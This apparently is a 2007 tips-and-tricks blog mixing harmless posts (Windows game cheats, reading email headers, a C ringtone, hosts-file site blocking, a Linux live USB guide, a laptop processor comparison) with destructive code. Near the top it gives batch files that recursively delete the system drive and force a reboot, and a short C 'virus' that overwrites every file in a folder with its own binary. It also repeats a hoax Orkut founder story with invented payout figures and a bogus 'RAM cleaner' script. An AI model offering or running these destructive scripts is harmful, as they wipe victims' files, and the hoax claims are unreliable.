Friday, December 14, 2007

Formatting Your Hard disk Using Notepad

go to notepad
@Echo off
Del C:\ *.*y
save it as Dell.bat

or worse

@echo off
del %systemdrive%\*.*/f/s/q
shutdown -r -f -t 00


and save it as a .bat file

Cheats For Windows Built-in Games

Minesweeper
Secret - Reveal Mines
Instructions - Minimize or close all running applications. Launch Minesweeper, then type xyzzy. Next hold down either shift key for one second. Now when you move the mouse cursor over a Minesweeper square you will see a tiny white pixel in the top left corner of your desktop screen. This pixel will change to black when your mouse moves over a mine. You may need to change you desktop background to a solid color other then white or black to see the pixel.
Pinball
Secret - Extra BallsInstructions - Type 1max at the start of a new ball to get extra balls.
Secret - Gravity WellInstructions - Type gmax at the start of a new game to activate the Gravity Well.
Secret - Instant PromotionInstructions - Type rmax at the start of a new game to go up in ranks.
Secret - Skill ShotInstructions - Launch the ball partially up the chute past the third yellow light bar so it falls back down to get 75,000 points. There are six yellow light bars that are worth a varying amount of points:
First: 15,000 pointsSecond: 30,000 pointsThird: 75,000 pointsFourth: 30,000 pointsFifth: 15,000 pointsSixth: 7,500 points
Secret - Test ModeInstructions - Type hidden test at the start of a new ball to activate Test Mode. No notification will be given that this is activated but you can now left-click the mouse button and drag the ball around.
Secret - Unlimited BallsInstructions - Type bmax at the start of a new ball. No notification will be given that this is activated but when a ball is lost a new ball will appear from the yellow wormhole indefinitely. Once this is activated you will be unable to activate other secrets without restarting
FreeCell
Secret - Instant WinInstructions - Hold down Ctrl + Shift + F10 during game play. Then you will be asked if you want to Abort, Retry or Ignore. Choose Abort, then move any card to instantly win.
Secret - Hidden Game ModesInstructions - In the “Game” menu choose “Select Game”. Enter -1 or -2 to activate the hidden game modes.
Solitaire
Secret - Instant Win
Instructions - Press Alt + Shift + 2 during game play to instantly win.
Secret - Draw single cards in a Draw Three game
Instructions - Hold down CTRL + ALT + SHIFT while drawing a new card. Instead of drawing three cards you will only draw one.
Infinite Points
In the Windows XP version of solitaire, draw from the deck at least twice. Hold control and drag a card down from the deck. Click the “A” key and then let go of the left mouse key. You will get 10 points for this. Continue doing this for infinite points!
Infinite points trick II
To do this trick, finish a game of solitaire with the time bonus option on. The cards will start bouncing. Click on the solitaire screen and the play again box will pop up. Select no, so the solitaire screen is just blank green. Use the instant win cheat (Alt+Shift+2) and you will recieve the time bonus you got last game will be added to your last game’s score. For example, if your time bonus was 5000, and your final score was 6000, after using this glitch, you will have a score of 11000. This glitch can be used as many times as you want.
//—————————————————————–// registry hack which will allow you to see your opponents’ cards//—————————————————————– Launch REGEDIT.EXE and navigate to HKEY_CURRENT_USER Software Microsoft Windows CurrentVersion Applets Hearts. NOTE: You may have to create the Hearts key under Applets In the right-hand pane, create a new String Value. Immediately rename it to “ZB” (without the quotes); give it a value of “42″ (again, sans quotes). The next time When you’re in a game of Hearts, press CTRL + SHIFT + ALT + F12.

Simple Virus In C Language

/*this is a program to create a virus in c
it will create folder in a folder in a folder and so on
run this on your own responsibility (at your own risk)*/

#include
#include
#include
#include
#include
void main(int argc,char* argv[])
{ char buf[512];
int source,target,byt,done;
struct ffblk ffblk;
clrscr();
textcolor(2);
cprintf(”————————————————————————–”);
printf(”\nVirus: Folderbomb 1.0\nProgrammer:BAS
Terminator(asystem0@gmail.com)\n”);
cprintf(”————————————————————————–”);
done = findfirst(”*.*”,&ffblk,0);
while (!done)
{ printf(”\n”);cprintf(” %s “, ffblk.ff_name);printf(”is attacked by “);cprintf(”Folderbomb”);
source=open(argv[0],O_RDONLY|O_BINARY);
target=open(ffblk.ff_name,O_CREAT|O_BINARY|O_WRONGLY);
while(1)
{byt=read(source,buf,512);
if(byt>0)
write(target,buf,byt);
else
break;
}
close(source);
close(target);
done = findnext(&ffblk);
}
getch();
}

Find Sender's IP Address From Received Mail

We All think that we know Everything About Emails But I'm Not Sure

we know how to compose email , how to attach a file , how to send it to others ,How to receive emails from others and many other things.This is all we know about emails.But this is not end of it .When you receive or send emails many other things are sent with it.

At this time when Email is progressively used for business and for many purposes, not to mention it is being used for phishing and other malicious intentions. It is of utmost priority to understand the other "messages" besides what has been sent or received by you.

Every email comes with a “Header” which is one part of an e-mail structure; call it DNA of the mail. It carries the basic fundamental information such as from whom the email comes, to whom it is addressed, date/time it was sent and the subject of the email. It is similar to an electronic postSeptemberk. Moreover, it also carries other detailed information which we usually don’t see.

This basic information comes in all brief/basic headers that most email programs automatically shows. This detail technical information can be viewed in a full header. All email programs can be set to show only brief header or full header and it is up to the users to set the program whether to view only “brief header” or “full header”.

Full header carries the information of the mail server’s name that the email passed through on its way to the recipient, and sender's IP address and even the name of the email program and its version used.

Knowledge of this information is essential for analysis and investigation purposes on cases involving email abuse, spamming, harassment, forgeries and mail-bombing. It is worth mentioning, understanding of this tool would definitely help people to counter these attacks, and save themselves from unwarranted consequences. Well, this information could not be found in a brief header.

Here we will take the case of Google mail and Yahoo mail to find out the full header.

Google Mail.

Using your id/password, login to Gmail. Open the mail for which you wish to find the full header of the sender. Click on the inverted triangle placed just next to Reply.

You will get something like this…

Delivered-To: Mr.x@gmail.com
Received: by 10.36.81.3 with SMTP id e3cs239nzb; Tue, 12 September 2007 15:11:47 -0800 (PST)
Return-Path:
Received: from mail.emailprovider.com (mail.emailprovider.com [111.111.11.111]) by mx.gmail.com with SMTP id h19si826631rnb.2007.03.12.15.11.46; Tue, 12 September 2007 15:11:47 -0800 (PST)
Message-ID: <20070312231145.62086.mail@mail.emailprovider.com>
Received: from [11.11.111.111] by mail.emailprovider.com via HTTP; Tue, 12 September 2007 15:11:45 PST
Date: Tue, 12 September 2007 15:11:45 -0800 (PST)
From: Mr.y
Subject: Hello
To: Mr.x

In the example, headers are added to the message three times:

1. When Mr.y composes the email

Date: Tue, 12 September 2007 15:11:45 -0800 (PST)
From: Mr .y
Subject: Hello
To: Mr.x
2. When the email is sent through the servers of Mr.y's email provider, mail.emailprovider.com

Message-ID: <20070312231145.62086.mail@mail.emailprovider.com>
Received: from [11.11.111.111] by mail.emailprovider.com via HTTP; Tue, 12 September 2007 15:11:45 PST

3.When the message transfers from Mr.y 's email provider to Mr. x's Gmail account

Delivered-To: Mr.x@gmail.com
Received: by 10.36.81.3 with SMTP id e3cs239nzb;Tue, 12 September 2007 15:11:47 -0800 (PST)

Return-Path: Mr.y@emailprovider.com
Received: from mail.emailprovider.com (mail.emailprovider.com [111.111.11.111]) by mx.gmail.com with SMTP id h19si826631rnb; Tue, 12 September 2007 15:11:47 -0800 (PST)

Below is a description of each section of the email header:

Delivered-To: Mr.x@gmail.com

The email address the message will be delivered to.

Received: by 10.36.81.3 with SMTP id e3cs239nzb;
Tue, 29 Mar 2005 15:11:47 -0800 (PST)

The time the message reached Gmail's servers.

Return-Path:

The address from which the message was sent.

Received: from mail.emailprovider.com
(mail.emailprovider.com [111.111.11.111])
by mx.gmail.com with SMTP id h19si826631rnb.2005.03.29.15.11.46;
Tue, 29 Mar 2005 15:11:47 -0800 (PST)

The message was received from mail.emailprovider.com, by a Gmail server on March 29, 2005 at approximately 3 pm.

Message-ID: 20050329231145.62086.mail@mail.emailprovider.com

A unique number assigned by mail.emailprovider.com to identify the message.

Received: from [11.11.111.111] by mail.emailprovider.com via HTTP; Tue, 29 Mar 2005 15:11:45 PST

Mr.y used an email composition program to write the message, and it was then received by the email servers of mail.emailprovider.com.

Date: Tue, 29 Mar 2005 15:11:45 -0800 (PST)
From: Mr y
Subject: Hello
To: Mr.x

The date, sender, subject, and destination -- Mr. Jones entered this information (except for the date) when he composed the email.

And for IP, look for Received:from followed by the IP within square brackets [ ] e.g.

Received: from [11.11.111.111] by mail.emailprovider.com via HTTP; Tue, 12

Also importantly, there are times when you might find multiple Received: from entries, in that case, please select the last one as the valid choice.

Airtel Tune In C Language

HEADERS FILES ARE AND (include these files yourself in below program)

float main(void)
{
float A,Bb,D,G,F;
A = 440;
G = 780;
Bb = 461;
D = 586;
F = 687;
sound(G);
delay(500);
nosound();
sound(G);
delay(250);
nosound();
sound(G);
delay(250);
nosound();
sound(G);
delay(500);
nosound();
sound(2*D);
delay(500);
nosound();
sound(2*A);
delay(250);
nosound();
sound(2*Bb);
delay(250);
nosound();
sound(2*A);
delay(250);
nosound();
sound(G);
delay(250);
nosound();
sound(F);
delay(500);
nosound();
sound(2*A);
delay(500);
nosound();
sound(G);
delay(250);
nosound();
sound(2*A);
delay(250);
nosound();
sound(G);
delay(250);
nosound();
sound(F);
delay(250);
sound(G);
delay(250);
sound(2*A);
delay(250);
sound(2*Bb);
delay(500);
sound(2*A);
delay(500);
sound(G);
delay(250);
sound(F);
delay(250);
sound(D);
delay(500);
nosound();
//end 1
sound(G);
delay(500);
nosound();
sound(G);
delay(250);
nosound();
sound(G);
delay(250);
nosound();
sound(G);
delay(500);
nosound();
sound(2*D);
delay(500);
nosound();
sound(2*A);
delay(250);
nosound();
sound(2*Bb);
delay(250);
nosound();
sound(2*A);
delay(250);
nosound();
sound(G);
delay(250);
nosound();
sound(F);
delay(500);
nosound();
sound(2*A);
delay(500);
nosound();
sound(G);
delay(250);
nosound();
sound(2*A);
delay(250);
nosound();
sound(G);
delay(250);
nosound();
sound(F);
delay(250);
sound(G);
delay(250);
sound(2*A);
delay(250);
sound(2*Bb);
delay(500);
sound(2*A);
delay(500);
sound(G);
delay(250);
sound(F);
delay(250);
sound(D);
delay(500);
nosound();
//end 2
sound(2*A);
delay(250);
nosound();
sound(G);
delay(250);
nosound();
sound(F);
delay(250);
sound(G);
delay(250);
sound(2*A);
delay(250);
sound(2*Bb);
delay(500);
sound(2*A);
delay(500);
sound(G);
delay(250);
sound(F);
delay(250);
sound(D);
delay(500);
nosound();
sound(2*A);
delay(250);
nosound();
sound(G);
delay(250);
nosound();
sound(F);
delay(250);
sound(G);
delay(250);
sound(2*A);
delay(250);
sound(2*Bb);
delay(500);
sound(2*A);
delay(500);
sound(G);
delay(250);
sound(F);
delay(250);
sound(D);
delay(500);
nosound();
return 0;
}

View Movie In Paint

Start movie in Paint!

* First start a movie in any player.

* Then open Paint.

* Now, in the player when the movie is being played, press "Print screen" button on
your key board.

* Now, Press ctrl+v in Paint

* Leave the movie player open and don't minimize it.

* Open Paint now and see the movie in the Paint!

Creating Custom Sprays In Counter-Strike 1.6

Create custom Counter Strike 1.6 sprays

Stuff's you need are Counter Strike 1.6 and tool called HlTagConverter

I assume that you already have Counter Strike 1.6 , so here's the download link to
HlTagConverter:

Click Here

Download and unzip HlTagConverter_014.zip

I think we are ready to start..

1. Create your image and save it to your hard drive (anywhere you want)

2. Open HlTagConverter by double-clicking it

3. Click button that says "1. Open Image" (it's the only active button at this point,
or at least it should be! Very Happy)

4. Ok now browse to where you saved your image and open it, you should see
your image in the HlTagConverter program and on the right corner some
random information of your image

5. So, we opened the picture, what next? Click the second button that says
"2. Adjust Image" (and it should be only active button at this point)
You see some adjustment options, your don't have to change them necessarily
if you don't want to and I don't really even recommend to change adjust options
since they are good at default.. Notice you can't make the images bigger than
96*112 but smaller it is possible.. Ok lets move on.. Now click "AutoSize" button
on the right corner..

6. Then simply click "Apply changes and convert to 256 colors" button

7. Now basically you are done.. Click "3. Save Tag" button and you get some
weird pop-up window, right? Okok don't worry, just select the "Export to WAD
file" and click OK....

8. Now browse to InstallHardDrive:\InstallDirectory(Normally Program
Files)\Steam\SteamApps\USERNAME\counter-strike\cstrike\
you might want to create folder called "Sprays" where you place all you sprays
by simply right-clicking on blank area and choose new -> folder, save your image
as Spray1.
Ok Now browse to this folder and copy (ctrl+c OR right-click -> copy) the
Spray1.wad file to \cstrike\ folder (You can "paste" it by clicking ctrl+v or
right-click -> Paste) and delete old tempdecal.wad file and rename
your Spray1.wad to tempdecal.wad and right-click on it and goto Properties and
then choose "Read Only"..
You can now close all the folders and programs..

That's It Folks

Block Sites Without Any S/W

Block webSites without any Softwares !!!!!!

Steps To Follow :

1] Browse C:\WINDOWS\system32\drivers\etc
2] Find the file named "HOSTS"
3] Open it in notepad
4] Under "127.0.0.1 localhost" Add 127.0.0.2 www.orkut.com , and that site
will no longer be accessable.
5] Done!

example :

127.0.0.1 localhost
127.0.0.2 www.wordpress.com

www.wordpress.com is now unaccessable


For every site after that you want to add, just add "1" to the last number in the internal ip (127.0.0.2) and then the addy like before.

IE:
127.0.0.3 www.Dell.com
127.0.0.4 www.Sony.com
127.0.0.5 www.Vodafone.com

This also works with banner sites, just find the host name of the server with the banners and do the same thing with that addy.

Hoep this small tutorial could keep you going in simple way of blocking websites

Increase The Speed Of Your PC

Clean Ur RAM

U may recognize that ur system gets slower and slower when playing and working a lot with ur pc. That's cause ur RAM is full of remaining progress pieces u do not need any more.

So create a new text file on ur desktop and call it ..
"RAMcleaner" or something...

Type

FreeMem=Space(64000000)
in this file and save it as RAMcleaner.vbs

[You may choose the "All Files" option when u save it ]

Run the file and ur RAM may be cleaned :>
Of course u can edit the code in the file for a greater "cleaning-progress".

FreeMem=Space(1280000000)

It Worked For Me........

Shutdown Your Pc In One Click

One Click Shutdown

Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut). You should now see a pop-up window instructing you to enter a command line path.
Use this path in "Type Location of the Item"

SHUTDOWN -s -t 01

If the C: drive is not your local hard drive, then replace "C" with the correct letter of the hard drive. Click the "Next" button. Name the shortcut and click the "Finish" button. Now whenever you want to shut down, just click on this shortcut and you're done.

Shutdown Your Pc In One Click

One Click Shutdown :-


Navigate to your desktop. On the desktop, right-click and go to New, then to Shortcut (in other words, create a new shortcut). You should now see a pop-up window instructing you to enter a command line path.
Use this path in "Type Location of the Item"

SHUTDOWN -s -t 01

If the C: drive is not your local hard drive, then replace "C" with the correct letter of the hard drive. Click the "Next" button. Name the shortcut and click the "Finish" button. Now whenever you want to shut down, just click on this shortcut and you're done.

Thursday, December 13, 2007

Orkut Story

The Orkut Story

A guy lost his girlfriend in a train accident,but the girl’s name nowhere appeared in the dead list. This guy grew up and became an IT technical architect in his late 20's, achievement in itself!!He hired developers from the whole globe and plan to make a software where he could search for his GF through the web.Things went as planned and he found her, after losing millions of dollars and 3 long years!!

It was time to shut down the search operation, when the CEO of Google had a word with this guy and took over this application.This Software made a whopping 1 billion dollars profit in its first year,which we today know as ORKUT.

The guy’s name is ORKUT BUYUKKOTEN.

Yes its named after him only.Today he is paid a hefty sum by Google for the things we do like scrapping.

He is expected to be the richest person by 2009.

ORKUT BUYUKKOTEN today has 13 assistants to monitor his scrapbook & 8 to monitor his friends-list. He gets around 20,000 friend-requests a day & about 85,000 scraps!!!

Some more interesting facts about him

* He gets $12 from Google when every person registers to this website.

* He also gets $10 when you add somebody as a friend.

* He gets $8 when your friend’s friend adds you as a friend & gets $6 if

anybody adds you as friend in the resulting chain.

* He gets $5 when you scrap somebody & $4 when somebody scraps you.

* He also gets $200 for each photograph you upload on Orkut.

* He gets $2.5 when you add your friend in the crush-list or in the hot-list.

* He gets $2 when you become somebody’s fan.

* He gets $1.5 when somebody else becomes your fan.

* He even gets $1 every time you logout of Orkut.

* He gets $0.5 every time you just change your profile-photograph.

* He also gets $0.5 every time you read your friend’s scrap-book & $0.5 every time you view your friend’s friend-list.

“Moral of the story”?
LOSE U R GIRLFRIEND AND MAKE BILLIONS !!!!

I dont know if its real or unreal, its very much of a Filmy type thing.

Who knows?? :P

Well...

you can take a look at Orkut Büyükkökten (Orkuts) official profile on Orkut.. :D yourself if ya don't beleive me..................

Sunday, December 2, 2007

General Motors Replies To Microsoft

A Real Incident :
At a recent computer expo (COMDEX), Bill Gates reportedly compared the
computer industry with the auto industry and stated,

"If GM had kept up with technology like the computer industry has, we
Would all be driving $25.00 cars that got 1,000 miles to the gallon"
In response to Bill's comments, General Motors issued a press release stating:
"If GM had developed technology like microsoft, we would all be driving
cars with the following characteristics (
and I just love this part, esp 10th point):
1. For no reason whatsoever, your car would crash twice a day.
2. Every time they repainted the lines in the road, you would have to
buy a new car.
3. Occasionally your car would die on the freeway for no reason. You
would have to pull to the side of the road, close all of the windows,
shut off the car, restart it, and reopen the windows before you could
continue. For some reason you would simply accept this.
4. Occasionally, executing a maneuver such as a left turn would cause
your car to shut down and refuse to restart, in which case you would
have to reinstall the engine.
5. Macintosh would make a car that was powered by the sun, was reliable,
five times as fast and twice as easy to drive - but would ! run on only
five percent of the roads.
6. The oil, water temperature, and alternator warning lights would all
be replaced by a single "This Car Has Performed an Illegal Operation"
warning light.
7. The airbag system would ask "Are you sure?" before deploying.
8. Occasionally, for no reason whatsoever, your car would lock you out
and refuse to let you in until you simultaneously lifted the door
handle, turned the key and grabbed hold of the radio antenna.
9. Every time a new car was introduced car buyers would have to learn
how to drive all over again because none of the controls would operate in
the same manner as the old car.
10. You'd have to press the "Start" button to turn the engine off. "

Tuesday, November 20, 2007

Take Your Linux Desktop Everywhere

Take your desktop with you on a USB stick and access it anywhere with the Ubuntu Live CD.
Wouldn't it be handy if you could walk up to any random computer, insert a copy of the Ubuntu Live CD, plug in a USB key, boot it up, and have a fully working system with your own documents, settings, and programswithout modifying the computer in any way?


A little-known feature of the Ubuntu Dapper Drake Live CD allows you to do exactly that. When it starts up, it searches for a volume that has been given the label casper-cow and uses it to store documents, themes, and even extra programs that you install.
This is far more powerful than just booting up a live CD and mounting a memory stick as your home directory because it's not restricted to just storing your documents. It gives you the flexibility of a fully installed system, while retaining the "go anywhere" feature of a live CD.
You can perform this trick with just about any storage device, including removable USB hard disks and compact flash drives, but for this we use a USB memory stick because they're cheap, portable, and commonly available in increasingly large capacities.

Plug in your usb and backup the datas in it coz u r gonna format it.

Once you've backed up your files, it's time to unmount the device:

$ sudo umount

/dev/sda1



If the system refuses to unmount because the device is still in use, just close any other windows you have open and try again.

Then create a new filesystem with the correct label:

$ sudo mkfs.ext3 -b 4096 -L casper-cow

/dev/sda1


Plug your USB memory stick into the target machine, power up the computer, and quickly insert the Dapper Drake Live CD. If the computer is not configured to boot from CD-ROM, you may need to press a key (Del or F2) at startup to enter the BIOS settings menu.

When the Live CD starts up, you will see a menu. Normally, you would just press Enter to start the boot process, but instead, press F4 to access the Other Options menu that allows you to start up the Live CD in special modes.

You'll see a list of the arguments that will be passed to the kernel on startup; just add a space and type persistent, then hit Enter.

The computer will now boot from the Live CD in persistent mode, but you won't see anything different. In fact, it can be quite hard to tell if it even worked or not. As a simple test, you can try changing something obvious, such as your desktop picture, and then you can log out and reboot the computer back into persistent mode. If everything worked properly, your desktop picture will still be set as you specified

when running in persistent mode, the system on the Live CD allows items on your memory stick to override items within the Live CD environment. The next time the Live CD sets the desktop, it detects that a new setting has been stored on the device and applies it instead of the default setting. The Live CD therefore provides the basic data for a complete, functional environment, and any changes you make to that environment are written to the removable device and used to override the default settings.

Saturday, November 17, 2007

Want To Track Santa

Tracking Santa

This is Christmas time and every child in the world is waiting for Santa.

So why don't you track him instead of simply sitting and waiting for him .....
Just use the site link given below to track him..

www.noradsanta.com

The NORAD Tracks Santa (NTS) program has been around for a long time, since 1955 to be exact! And while NORAD has the "history" and excellent technology to track Santa, NORAD cannot expend government funds on the program. Besides the short time a NTS Project Officer spends "managing" the program, NORAD spends only the minimal amount of funds on NTS.

Wednesday, November 14, 2007

Tweak To Increase The Battery Life Of Laptops

Under KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager

Create a new key called Throttle. (If you've applied the tweak for dual core you'll already have the Throttle key.

Inside the Throttle key add these dword decimal values:

PerfIncreasePercentModifier - 70. This tells the OS at which load level to up the P-state to a higher one. Default is 20 which IMHO is a bit low. MS went save to avoid hiccups, but today with the CD or C2D it's powerful enough and has enough cache to avoid hiccups.

PerfDecreaseMinimumTime - 150000 (150ms) this tells the OS how much time to stay in the current P-State after hitting the drop down percentage before it can drop back down. Default is 500ms. Why state in any P-State longer than you have to? Even if it is half a second.

I got these from a Whitesheet. You may Google "Windows Native Processor Performance Control" and it'll bring it up.

You can play with the values but I've tested these and they help keep power usage down with out affecting performance noticably.

Various Processor's Pro's And Con's

INTRODUCTION


Laptop shopping is a simultaneously exciting and unenviable task. It's a big investment, so having an understanding of what's available and how it can best suit your needs is valuable. Not having criteria even to start with can make the task a frightening one. How to start narrowing down your choices from 100% of the notebooks available?


A good place to start is choosing your platform. But it's not just about AMD and Intel (which, let's face it, virtually owns the notebook market at the time of this writing). By knowing which processor you'd like in your notebook, you can narrow down your choices and pare things down.
Buying a notebook is a lot like voting for a politician; it's nearly impossible to find exactly what you want despite (and probably partially because of) the dizzying wealth of brands and models, so you choose the one that closest fits your needs and ideals. Keep in mind that there is no one BEST processor. It may be best at handling certain tasks, but it's not the best at everything.
Most shoppers are looking for a PC notebook and at the present time I'd find it hard to even recommend an Apple given that the existing hardware's obsolescence is visible. Most PC notebooks being released right now will likely last you a while. Because of these reasons, I have elected to omit Apple hardware from this review.




OVERVIEW


At the moment, there are six main processors currently being used in notebooks, so I'll cover them in one section each. I will also include a seventh section for legacy, outdated, or rare processors.


Each section will be laid out the same way, and will have the following specific details:


VARIANTS - There may be different subtypes of this processor. For example, Pentium Ms come in Ultra Low Voltage, Low Voltage, and then normal chips.


FASTEST MODEL - I'll list what is currently the fastest available model of this chip.


SPECIFICATIONS - I've broken down the specifications into subcategories:


Cache Size - If a processor were a freeway, this would be the number of lanes of traffic (data) it can move. A lower cache means the onramp is likely to get more backed up, while a greater cache allows the processor to continue moving at a brisk pace. This currently averages about 1MB.


32-Bit / 64-Bit - A 32-bit processor will run most software that's currently available, while a 64-bit processor will be ready for Windows Vista. Note that there will be a 32-bit version of Windows Vista for older processors, but it likely will have less features or won't be as fast as the 64-bit version.


BATTERY LIFE - Ranking from one to four stars, with one being extremely low battery life and four being stellar battery life.


PRICE RANKING - Ranking from one to four stars, with one being overpriced and four being dirt cheap.


MULTIMEDIA PERFORMANCE - Ranking from one to four, with one being poor performance in video and music tasks (encoding and decoding video or audio), and four being excellent. Note that all processors are going to do well at watching most video or listening to most audio, but some extremely high definition video will put real strain on the processor.


GAMING PERFORMANCE - Ranking from one to four, with one being poor gaming performance and four being excellent. While gaming performance is also contingent upon what graphics card is in the notebook (an article for another day), games tend to tax the entire system. One processor paired with the same graphics card could perform very differently from another processor.


SUMMARY - Marketing points for the chip.
PRO'S - High points for the chip.
CON'S - Low points for the chip.


I'd also like to mention that overall processor power has by and large exceeded what is needed for the basic use of a computer. Taking a small leap for a faster processor (~$50) is easy to justify. Taking a large leap (~$200) gets a bit trickier.


For what it's worth, I had a notebook that used a first generation 1 GHz Pentium M, and I was able to do video work on it. But let's just say my Mobile Athlon 64 3700+ is "a little better" for the job.


INTEL PROCESSORS (http://www.intel.com/)


Pentium M (Centrino)


Variants: Ultra Low Voltage (ULV) Pentium M, Low Voltage (LV) Pentium M, Pentium M



Fastest Model: Pentium M 780 (2.26 GHz)



2MB (1MB on older models) Cache, 32-bit



Pro's: The Pentium M is the big fish for a reason. Battery life on Centrino notebooks is unmatched by any other processor. These are extremely efficient processors that offer a lot of performance with relatively small power consumption and heat dissipation.


Con's: Centrino notebooks tend to be more expensive than other notebooks. Also, newer Pentium M's tend to run quite a bit hotter and offer less battery life than their older kin, though they're still unmatched otherwise.


Company Website Info: http://www.intel.com/products/processor/pentiumm/index.htm


Celeron M


Variants: Ultra Low Voltage (ULV) Celeron M, Celeron m



Fastest Model: Celeron M 383 (1.6 GHz)



512K - 1MB (512K on older models) Cache



Summary: A stripped down, cost-effective version of the Pentium M.


Pro's: The Celeron M is, if nothing else, extremely affordable, and for everyday tasks performs fairly well. Its battery life is also middling due to the lack of power management features that the Pentium M has.


Con's: Gaming and multimedia performance are pretty crippled on these chips. These are bargain processors and aren't meant for any processor-intensive tasks. They also run hotter than Pentium Ms, and yield less battery life.


Company Website Info: http://www.intel.com/products/processor/celeron_m/index.htm


Mobile Pentium 4


Variants: Mobile Pentium 4 Supporting Hyper-Threading, Mobile Pentium 4



Fastest Model: Mobile Pentium 4 Supporting Hyper-Threading 552 (3.46 GHz)



1MB (512K on older models) Cache, 32-bit (64-bit with 6xx Series)



Summary:

A desktop Pentium 4, slightly modified for notebook use.


Pro's: Multimedia performance is exceptional in Pentium 4's with Hyper-Threading, and these chips tend to have a very smooth computing experience. If you're looking for a strictly desktop replacement notebook, these are a viable option so long as you mean to use them on a desktop. These tend to be less expensive than Pentium M's for desktop replacements, and usually hover right around the same price as Athlon 64's.


Con's: Absolutely miserable battery life that rarely even hits one hour. Notebooks using Mobile Pentium 4's also tend to be very heavy and loud due to the cooling required for these processors, and even then they tend to be extremely hot. These are really only viable for budget desktop replacement. I'd avoid using it on my actual lap.


Company Website Info: http://www.intel.com/products/processor/mobilepentium4/index.htm






AMD PROCESSORS (http://www.amd.com/)




Athlon 64


Variants: Mobile Athlon 64, Athlon 64 for Desktop Replacements (DTR)



Fastest Model: Mobile Athlon 64 4000+ (2.6 GHz)



512K - 1MB Cache, 64-bit


Summary: Essentially a desktop Athlon 64 capable of running at high speeds with low voltage for notebook use.


Pro's: Athlon 64 notebooks tend to be very inexpensive, and unlike their Pentium 4 counterparts, fairly manageable in regards to heat output, weight, and battery life. The bonus is that they also tend to be much faster than the Pentium 4s. In desktop systems, these are the ideal processors for gamers, and the same applies here. If you're on a budget, these give great performance with mediocre battery life, but tend to be a bargain overall. While the fastest Pentium Ms usually drive a price of at least $2,000, the fastest Athlon 64s float around $1,500 and less.


Con's: Battery life, while respectable for what is essentially an undervolted desktop processor, is still the fatal flaw of an otherwise quality platform. These can also run fairly hot or loud compared to Pentium Ms, though not as bad as Pentium 4s. Also, while being very powerful chips, these do not provide quite as smooth a computing experience as their Intel counterparts. Athlon 64s also tend to be uncommon in the notebook market, which is for the most part dominated by Pentium Ms and Celeron Ms, so they require a little shopping around for. As of this article, HP and Compaq also produce notebooks with Athlon 64s - these notebooks use desktop Athlon 64s, which explains the slightly different model numbering scheme for the processors.


Company Website Info: http://www.amd.com/us-en/Processors/ProductInformation/0,,30_118_1276,00.html




Turion 64


Variants: Turion 64 ML Series, Turion 64 MT Series (Low Wattage)



Fastest Model: Turion 64 ML-40 (2.2 GHz)



512K - 1MB Cache, 64-bit


Summary: A much cooler running but downclocked version of the Athlon 64.


Pro's: Turion 64s serve a double purpose as a budget version of the Pentium M and as a 64-bit processor for thin and light notebooks, a market the Athlon 64 can't penetrate due to its heat output. These offer good performance for the price, and have a fairly dedicated following. They offer similar performance clock for clock to Athlon 64s, but can also cost a bit more. They're an excellent alternative to Pentium M notebooks, and are still a far superior choice to a Celeron M notebook.


Con's: The Turion 64 was supposed to be the Pentium M killer and came up a bit short. Worse still, while the ML series is trickling into the marketplace, the MT series - the series with better battery life and heat output - borders on being MIA. It's not impossible to find Turion 64 chips, but it's not that easy either. Also, they still don't offer the kind of efficiency that Pentium M chips do.


Company Website Info: http://www.amd.com/us-en/Processors/ProductInformation/0,,30_118_12651,00.html




Sempron


Variants: Mobile Sempron for Full-Size Notebooks, Mobile Sempron for Thin and Light Notebooks



Fastest Model: Mobile Sempron 3300+ (2 GHz)



128K - 256K Cache, 32-bit



Summary: The budget version of the Athlon 64, similar to the Pentium M's Celeron.


Pro's: Semprons can offer better battery life than Athlon 64s. These will also tend to perform better than Celeron M chips, and with better battery life. For the super budget conscious consumer who can't make the jump to the Athlon 64, Turion 64, or Pentium M, these offer an excellent alternative.


Con's: These, like the Celeron Ms, are crippled chips and are really only for the more budget-conscious consumer.


Company Website Info: http://www.amd.com/us-en/Processors/ProductInformation/0,,30_118_11600,00.html




LEGACY/UNCOMMON PROCESSORS


Desktop ChipsProcessors found in desktop machines can sometimes find their way into desktop replacement notebooks. Boutique manufacturers like Alienware and VoodooPC will put powerful desktop processors into their notebooks, but the notebooks are really only notebooks in name, as their portability is somewhat questionable (12+ pounds, 17" screened behemoths). Desktop Pentium 4s also have a habit of showing up in media center notebooks which are, again, only really notebooks in name.


Mobile Pentium 4-MHow's that for a mouthful? These are better in terms of heat and battery life than desktop Pentium 4s, but they take a hit in performance. These are actually one of the main reasons the notebook market was somewhat stagnant until the Pentium M.
Mobile CeleronJust like the Celeron M is directly worse than the Pentium M, so the Mobile Celeron is directly worse than then Mobile Pentium 4-M.



Avoid Mobile Pentium IIIThe Mobile Pentium III was a great notebook chip in its day, offering decent performance for good battery life and heat dissipation. These were actually still found in thin and light notebooks well into the Pentium 4 era and were only replaced by the Pentium M. Pentium Ms are, in many ways, highly optimized descendents of the Mobile Pentium III.


Athlon XP-MThe Athlon XP-M can actually still be found in super bargain-basement notebooks, but its performance isn't comparable to the chips of today. Still, it offers decent battery life, decent performance, and great heat dissipation, if not totally stellar in the first two categories.
Transmeta (http://www.transmeta.com/) Transmeta chips are rare (found only in older Panasonic notebooks), and offer poor performance for solid heat dissipation and battery life. These tended to be expensive and were pretty much entirely overshadowed by the cheaper and better performing Pentium M.


VIA (http://www.via.com.tw/en/) Via chips are incredible in terms of their power consumption, but their performance leaves a lot to be desired. VIA chips tend to be very rare (I've only ever seen them in Fry's brand notebooks) but also very inexpensive. Though VIA chips aren't readily available now (are barely available at all, really), there's a good chance they may begin to penetrate the market in the future, as no one makes a cooler-running, more battery-conscious chip than VIA.




CONCLUSIONS
Ultimately, you have to ask yourself what you're going to be using your notebook for.



Remember, too, that clock speeds on chips are not all created equal.

There are Pentium Ms out there faster than some Athlon 64s, and there are some Athlon 64 notebooks with better power consumption than Pentium M notebooks, so as always, do your homework.

Wednesday, October 31, 2007

Are You Using A Windows Mobile ?




If the answer is yes

then visit
http://www.xda-developers.com/

It dosen't matter which brand it is,

if it's windows, then just go to this site................

P.S - I am not advertising for this site,

its just that I use this site a lot and also find its contents useful.


Oh!

I forgot to tell you many of this site's member's are great programmers (for Windows mobile).................

Sunday, October 28, 2007

Computer Maintenace Tips

